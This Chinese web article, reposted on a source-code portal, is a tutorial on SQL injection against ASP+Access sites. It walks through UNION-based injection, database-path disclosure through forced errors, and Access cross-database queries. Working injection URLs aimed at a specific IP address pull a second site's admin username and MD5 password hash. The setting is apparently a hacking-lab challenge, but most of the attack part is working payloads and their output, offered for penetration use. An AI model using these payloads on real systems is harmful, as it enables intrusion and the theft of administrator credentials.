• ----:)欢迎访问源码网(:----
    • 首页
    • 博客
    • 学院
    • 下载
    • 论坛
    • 影视
    • 发布源码
    • RSS
    • ITPig
    • 笑话网
    • 百家姓
    • 繁體中文

源码网 - 中国第一源码门户
选择镜像:网通镜像 - 电信主站
  • 首 页
  • 新闻动态
  • 网站运营
  • 网页制作
  • WEB开发
  • 编程开发
  • 图像媒体
  • 操作系统
  • 数据库
  • 服务器
热门搜索 优化 SEO 故事 cms IIS7 MySQL 个人 AdSense 主题推广 | 文章搜索: 高级搜索
会员登录/控制面版您的位置: 学院首页 >> 数据库 >> 详细内容
 

推荐文章

  • SQL数据库的备份、压缩与SQL数据库数据处理的方法
  • 《MySQL管理员指南》之一----MySQL安全性指南
  • 压缩SQL数据库
  • 实例讲解MYSQL数据库的查询优化技术
  • MySQL查询优化技术讲座
 
 

热点文章

  • 安装SQL Server 2005实例环境图解
  • SQL数据库的备份、压缩与SQL数据库数据处理的方法
  • SQL SERVER 2005数据库镜像
  • SQL Server 性能优化工具
  • SQL数据库还原出现错误112(磁盘空间不足)的解决办法
  • 支持中文的MySQL 5.1+ 全文检索分词插件
  • MySQL数据导入导出方法与工具mysqlimport
  • VS.NET中构建数据库应用程序
  • 如何使用SQL Server 2000中的XML功能
  • Server 2005性能排错
  • 《MySQL管理员指南》之一----MySQL安全性指南
  • SQL Server 2000中的SQL语言简介
 
 

相关文章

  • PHP操作Access类(PHP+ODBC+Access)
  • Access数据库存储上限
  • 用Access将XLS与MDB文件格式互相转换
  • Access使用查询
 
 

百度搜索

 
 

Access的跨库查询

  • 阅览次数:
  • 文章来源: cp整理
  • 原文作者: 不详
  • 整理日期: 2007-04-11
  • 发表评论
  • 字体大小:
  • 小
  • 中
  • 大

首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:\daos\db\daidalos.mdb里的admin表的内容进行查询,SQL语句为:

 

SELECT * from admin in "D:\daos\db\daidalos.mdb"

查询后,成功返回目标数据库里表admin表里的内容:

在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:

1.使用union查询必须知道前一个select里表的字段数

2.必须知道目标数据库的所在位置,绝对路径。

条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。

条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。

在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:

我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:

 

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo

返回:Microsoft JET Database Engine 错误 '80040e14'

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/yddown/list.asp,行51



字段不对,我写了个perl脚本自动猜,(代码见后)

当我们提交:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo

无错误返回:



我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。

现在还就差盗帅的数据库位置了,简单我们暴库,提交:

http://219.237.81.46/dsdown%5cregs.asp

成功返回路径:

Microsoft JET Database Engine 错误 '80004005'

'D:\111\db\kljdsld.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/dsdown/db/user.asp,行6

(注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:\111\dsdown\db\kljdsld.asa)

下面我们跨库,构造url如下:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

上面的语句是,union查询数据D:\111\db\kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:



得到用户名为admin 我们接着暴密码:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

如图:

得到密码为32位的md5加密的hash:77e6cbb3f9468eadb655ae6826357922,我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯。

小结



本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。


上一篇:PHP使用zlib扩展实现页面GZIP压缩输出
下一篇:构建支持Master/Slave读写分离的数据库操作类
  • 网友评论:
  • 查看所有评论
  • 我要发表评论
您的网名:
留言主题:
你要发表的内容:

 

关于本站 | 广告联系 | 版权声明 | 网站地图 | 发布软件 | 帮助中心 | 源码论坛

Copyright © 2005-2007 CodePub.Com  程序支持:木翼  滇ICP备05005971号